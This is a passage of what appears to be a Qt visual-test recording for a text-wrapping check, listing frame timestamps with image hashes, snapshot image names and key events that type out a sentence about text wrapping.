"e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 416 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 432 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 448 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 464 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 480 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 496 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 512 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 528 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Key { - type: 7 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 560 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 576 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 592 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 608 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 624 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 640 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 656 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 672 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 688 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 704 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 720 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 736 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 752 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 768 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 784 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 800 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 816 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 832 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 848 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 864 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 880 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 896 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 912 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 928 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 944 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 960 - image: "wrap.0.png" - } - Frame { - msec: 976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1072 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 1088 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1104 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1120 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1136 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1152 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1168 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1184 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 1200 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1216 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1232 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1248 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1264 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1280 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1296 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1312 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1328 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1344 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1360 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1376 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1392 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1408 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1424 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1440 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1456 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1472 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1488 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1504 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1520 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1536 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1552 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 72 - modifiers: 0 - text: "68" - autorep: false - count: 1 - } - Frame { - msec: 1568 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1584 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1600 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1616 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1632 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Key { - type: 7 - key: 72 - modifiers: 0 - text: "68" - autorep: false - count: 1 - } - Frame { - msec: 1648 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1664 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1680 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1696 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1712 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1728 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1744 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1760 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 1776 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1792 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1808 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1824 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1840 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1856 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1872 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1888 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1904 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1920 - image: "wrap.1.png" - } - Frame { - msec: 1936 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1952 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 1968 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 2064 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 2080 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2096 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2112 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 2128 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2144 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2160 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2176 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2192 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2208 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 88 - modifiers: 0 - text: "78" - autorep: false - count: 1 - } - Frame { - msec: 2224 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2240 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2256 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2272 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2288 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 2304 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 88 - modifiers: 0 - text: "78" - autorep: false - count: 1 - } - Frame { - msec: 2320 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2336 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2352 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2368 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2384 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 2400 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2416 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2432 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2448 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2464 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2480 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 2496 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2512 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2528 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2544 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 2560 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2576 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2592 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2608 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2624 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2640 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 68 - modifiers: 0 - text: "64" - autorep: false - count: 1 - } - Frame { - msec: 2656 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2672 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2688 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2704 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 68 - modifiers: 0 - text: "64" - autorep: false - count: 1 - } - Frame { - msec: 2720 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2736 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2752 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 2768 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2784 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2800 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2816 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2832 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Key { - type: 7 - key: 73 - modifiers: 0 - text: "69" - autorep: false - count: 1 - } - Frame { - msec: 2848 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2864 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2880 - image: "wrap.2.png" - } - Frame { - msec: 2896 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2912 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2928 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 2944 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2960 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3072 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3088 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 87 - modifiers: 0 - text: "77" - autorep: false - count: 1 - } - Frame { - msec: 3104 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3120 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3136 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3152 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3168 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 87 - modifiers: 0 - text: "77" - autorep: false - count: 1 - } - Frame { - msec: 3184 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3200 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3216 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3232 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3248 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 3264 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3280 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3296 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 3312 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3328 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3344 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 3360 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3376 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3392 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3408 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3424 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 3440 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3456 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3472 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 80 - modifiers: 0 - text: "70" - autorep: false - count: 1 - } - Frame { - msec: 3488 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3504 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3520 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3536 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 80 - modifiers: 0 - text: "70" - autorep: false - count: 1 - } - Frame { - msec: 3552 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3568 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 3584 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3600 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3616 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3632 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3648 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3664 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 3680 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 3696 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3712 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3728 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3744 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3760 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 3776 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3792 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3808 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3824 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3840 - image: "wrap.3.png" - } - Frame { - msec: 3856 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3872 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3888 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3904 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 3920 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3936 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3952 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3968 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 4000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 79 - modifiers: 0 - text: "6f" - autorep: false - count: 1 - } - Frame { - msec: 4032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4064 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 79 - modifiers: 0 - text: "6f" - autorep: false - count: 1 - } - Frame { - msec: 4080 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 4096 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4112 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4128 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4144 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 4160 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4176 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4192 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 4208 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4224 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4240 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4256 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4272 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 4288 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 4304 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4320 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4336 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 4352 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4368 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4384 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4400 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4416 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 4432 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4448 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4464 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 4480 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4496 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4512 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4528 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4544 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - 